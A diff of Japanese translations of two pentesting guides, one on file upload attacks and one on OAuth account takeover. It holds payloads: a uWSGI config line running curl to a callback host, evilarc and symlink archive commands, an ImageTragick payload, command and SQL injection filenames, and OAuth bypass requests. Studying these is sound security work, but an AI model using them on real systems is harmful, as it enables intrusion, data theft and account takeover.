3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.”」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows)
|
||||
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
|
||||
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルを**Windows**にアップロードします。
|
||||
- また、**実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。
|
||||
1. **同じファイル**を**同時に**何度もアップロードする
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする
|
||||
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
4. **NTFS**で簡単に削除できないファイルをアップロードする(例: **“…:.jpg”**)。(Windows)
|
||||
5. **無効な文字**(`|<>*?”`など)を名前に持つファイルを**Windows**にアップロードする。(Windows)
|
||||
6. **予約された**(**禁止された**)**名前**(CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9など)を使用して**Windows**にファイルをアップロードする。
|
||||
- また、**実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することを試みてください。
|
||||
|
||||
### 特殊な拡張子のトリック
|
||||
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)
|
||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりすることができます...)
|
||||
|
||||
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||||
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃による場合も含む)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
||||
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
||||
|
||||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げることができます。
|
||||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証している可能性があります。しかし、**このチェックは回避可能です。**\
|
||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックはバイパス可能です。**\
|
||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックをバイパス**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -164,9 +164,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
## ファイルアップロードから他の脆弱性へ
|
||||
|
||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みてください。
|
||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みます。
|
||||
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成してください。
|
||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成します。
|
||||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS**ファイル **アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
@ -175,10 +175,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) から **異なるsvgペイロード**を試してください。
|
||||
- [有名な **ImageTrick** 脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||||
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJSを実行する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
||||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認してください。
|
||||
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、指定された指示に従って任意のJSを実行するPDFを準備できます。
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフトウェア**があるかどうかを確認します。
|
||||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
||||
|
||||
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -212,7 +212,7 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
#### シンリンク
|
||||
|
||||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスします。
|
||||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 異なるフォルダに展開する
|
||||
|
||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守るかもしれないという最初の仮定にもかかわらず、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
|
||||
```python
|
||||
@ -229,7 +229,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
さらに、**evilarcを使用したシンボリックリンクトリック**もオプションです。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||
さらに、**evilarcを使ったシンボリックリンクのトリック**も選択肢です。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||
|
||||
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
||||
```python
|
||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([エクスプロイト](https://www.exploit-db.com/exploits/39767)から)
|
||||
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**([exploit](https://www.exploit-db.com/exploits/39767)から)
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -291,13 +291,13 @@ pop graphic-context
|
||||
|
||||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
|
||||
|
||||
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
|
||||
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響についての包括的な理解を提供します。
|
||||
|
||||
詳細情報は次のリンクにあります: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||||
|
||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuthはさまざまなバージョンを提供しており、基本的な情報は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスしたり、アクションを実行したりすることを可能にする認可フレームワーク**を提供します(認可サーバー)。
|
||||
OAuthはさまざまなバージョンを提供しており、基本的な情報は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーション内のユーザーアカウントにアクセスしたり、アクションを実行したりすることを可能にする認可フレームワーク**を提供します(認可サーバー)。
|
||||
|
||||
仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するためにOAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_で同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
|
||||
仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するためにOAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_で同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。
|
||||
|
||||
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
|
||||
|
||||
- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
|
||||
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後、認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
|
||||
- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを許可します。
|
||||
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
|
||||
- **client application**: **リソースオーナー**からの認可を求める**アプリケーション**、例:**https://example.com**。
|
||||
- **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
|
||||
- **client_id**: アプリケーションのための公開の一意の識別子。
|
||||
@ -40,33 +40,33 @@ https://socialmedia.com/auth
|
||||
&state=randomString123
|
||||
```
|
||||
3. 次に、同意ページが表示されます。
|
||||
4. あなたの承認に続いて、Social Mediaは`redirect_uri`に`code`と`state`パラメータを含むレスポンスを送信します:
|
||||
4. あなたの承認に続いて、ソーシャルメディアは `redirect_uri` に `code` と `state` パラメータを含むレスポンスを送信します:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com はこの `code` を使用し、`client_id` と `client_secret` と共に、あなたの代わりに `access_token` を取得するためのサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
|
||||
5. https://example.com はこの `code` を使用し、`client_id` と `client_secret` と共に、あなたの代わりに `access_token` を取得するためのサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。
|
||||
6. 最後に、プロセスは https://example.com があなたの `access_token` を使用してソーシャルメディアにAPIコールを行い、アクセスすることで終了します。
|
||||
|
||||
## 脆弱性 <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### オープンリダイレクト_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。
|
||||
`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。
|
||||
|
||||
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。
|
||||
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。
|
||||
|
||||
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
|
||||
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
|
||||
|
||||
OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
|
||||
OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
|
||||
|
||||
### リダイレクト実装における XSS <a href="#bda5" id="bda5"></a>
|
||||
### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード:
|
||||
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
@ -74,7 +74,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリ(CSRF)**攻撃のリスクを大幅に増加させる可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
|
||||
|
||||
攻撃者は、認証プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
|
||||
攻撃者は、認可プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
|
||||
|
||||
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響を強調しています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
|
||||
|
||||
@ -82,14 +82,14 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略
|
||||
|
||||
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスでログインを使用すると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
|
||||
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
|
||||
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用し、自分のサービスに登録した後、アカウントのメールを被害者のものに変更することができます。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
|
||||
|
||||
### 秘密の開示 <a href="#e177" id="e177"></a>
|
||||
|
||||
秘密のOAuthパラメータを特定し保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすることは重大なリスクを伴います。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して**ユーザーの`access_tokens`**やプライベート情報を**盗む**ことができます。
|
||||
|
||||
一般的な脆弱性は、アプリケーションが認可`code`を`access_token`に交換する際に、クライアント側ではなくサーバー側で誤って処理する場合に発生します。この誤りは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの名義で`access_tokens`を生成できるようにします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで権限をエスカレートし、アプリケーションの信頼された地位をさらに悪用することができます。
|
||||
一般的な脆弱性は、アプリケーションが認可`code`を`access_token`に交換する際に、クライアント側ではなくサーバー側で誤って処理することから生じます。この誤りは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの名義で`access_tokens`を生成できるようにします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで権限をエスカレートし、アプリケーションの信頼された地位をさらに悪用することができます。
|
||||
|
||||
### クライアントシークレットブルートフォース
|
||||
|
||||
@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
クライアントが**codeとstate**を持っている場合、異なるページに移動するときにそれが**Refererヘッダー内に反映される**と、脆弱性があります。
|
||||
クライアントが**code and state**を持っている場合、異なるページに移動するときにそれが**Refererヘッダー内に反映されている**と、脆弱です。
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
**ブラウザの履歴にアクセス トークンが保存されているか確認します**。
|
||||
**ブラウザの履歴にアクセスして、アクセストークンが保存されているか確認します**。
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
@ -156,17 +156,17 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーション**を作成できるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のアプリケーションに与えられたユーザーのOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得させることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。
|
||||
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。
|
||||
|
||||
### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー(RU)**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
|
||||
|
||||
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。すると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
|
||||
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、その値なしで新しいタブを開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
|
||||
|
||||
### プロンプトインタラクションバイパス <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することで、プラットフォームに既にログインしている場合に、ウェブ上で与えられたアクセスを確認するようにユーザーに求めることを**防ぐ**ことができます。
|
||||
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することで、プラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するようにユーザーに求めることを**防ぐ**ことができます。
|
||||
|
||||
### response_mode
|
||||
|
||||
@ -179,26 +179,26 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
### OAuth ROPCフロー - 2FAバイパス <a href="#b440" id="b440"></a>
|
||||
|
||||
[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。
|
||||
